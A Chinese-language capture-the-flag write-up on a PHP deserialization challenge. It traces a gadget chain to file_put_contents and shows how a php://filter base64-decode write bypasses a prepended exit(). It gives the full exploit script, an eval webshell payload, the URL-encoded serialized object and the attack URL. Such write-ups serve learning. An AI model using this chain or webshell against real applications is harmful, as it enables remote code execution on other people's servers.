最近写了一道反序列化的题，其中有一个需要通过php://filter去绕过死亡exit()的小trick，这里通过一道题目来讲解
题目源码：
<?php
error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage() {
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save() {
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}
class B {
protected function getExpireTime($expire): int {
return (int) $expire;
}
public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
}
protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
刚开始看到这题很懵逼，我们这里反过来讲，首先容易看出，这段代码应该是需要我们写一个shell进去
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
我们溯源一下filename和data的值是从哪里传过来的：
$filename = $this->getCacheKey($name);
$data = $this->serialize($value);
可以看到，这两个值是从函数：public function set($name, $value, $expire = null): bool的形参中传过来的，如何调用set()方法呢？我们需要注意到：A::__destruct()
A::__destruct() -> save() -> set()
set()会被A的变量store调用，所以store就需要传递一个B类的对象。而A调用set()传递了三个参数：
set($this->key, $contents, $this->expire) ，其中key在构造方法中赋值，$contents在哪来呢？
$contents = $this->getForStorage() -> $this->cleanContents($this->cache)
$this->cache变量传入cleanContents()返回，最终通过json串形式返回给$contents
其实getForStorage()和cleanContents()没什么用，这里不用管，$expire也没什么用
经过分析，我们知道在A类中，$key传入的是写入文件的名字，$cache可以最终传给$contents，然后当作文件内容写入，$store存储B类对象，$complete、$expire为空值即可
这样我们能够确定B类set()中file_put_contents()的两个变量了，但是怎么绕过exit()？不绕过写了shell也没用
这里通过 p神文章 学习了通过php://filter绕过
我们可以使用该php://filter的base64-decode、rot13、strip_tags等过滤器来绕过，这里我们使用base64-decode：
如果我们在写入文件的前面有exit()，例如：
<?php
$filename=$_POST['filename'];
$content=$_POST['content'];
file_put_contents($filename,'<?php exit();?>'.$content);
我们这里$filename $content 都是可以控制的，于是我们可以使用php://filter/write=convert.base64-decode/
当我们的$filename为：php://filter/write=convert.base64-decode/resource=shell.php
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== 是
<?php @eval($_POST[1]);?>的base64编码
并且$content: xPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
那么就可以进行绕过，shell.php:
�^�+q<?php @eval($_POST[1]);?>
这是什么原理呢，当我们文件名是php://filter伪协议，并且进行base64解码时，就会将写入文件内容的数据进行一次base64解码，于是原来的<?php exit();?>经过解码后就失效了，PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==经过解码就形成了一句话木马。
为什么这里$content前要加一个字母x？因为base64解码是4个一组，<?php exit();?>为15个字符，加上一个刚好凑够16个，不干扰后面的base64解码
知道绕过exit就简单了，我们可以将一句话木马base64编码两遍，传给A::cache变量，然后设置一下B中的options数组：
$this->options = array('serialize'=>'base64_decode','expire'=>'123');
这样B中的data就是，经过了一个base64解码后的值了
$data = $this->serialize($value);
然后在php://filter是base64解码两次，写入了shell.php中
我们编写exp：
<?php
class A
{
protected $store;
protected $key;
protected $expire;
public $complete;
public $cache;
public function __construct()
{
$this->store = new B();
$this->key = "php://filter/write=convert.base64-decode/resource=shell.php";
$this->expire = null;
$this->complete = "";
$this->cache = array("YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09");
}
}
class B
{
public $options;
public function __construct()
{
$this->options = array('serialize'=>'base64_decode','expire'=>'123');
}
}
$a = new A();
echo urlencode(serialize($a));
# O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D
这里有个点需要注意一下：
在一句话木马一次base64后需要在前面加3个a，让其4个一组
写入：
http://fceb4489-ee1c-434e-a4c4-a760e4026c92.node4.buuoj.cn:81/index.php?src=1&data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D
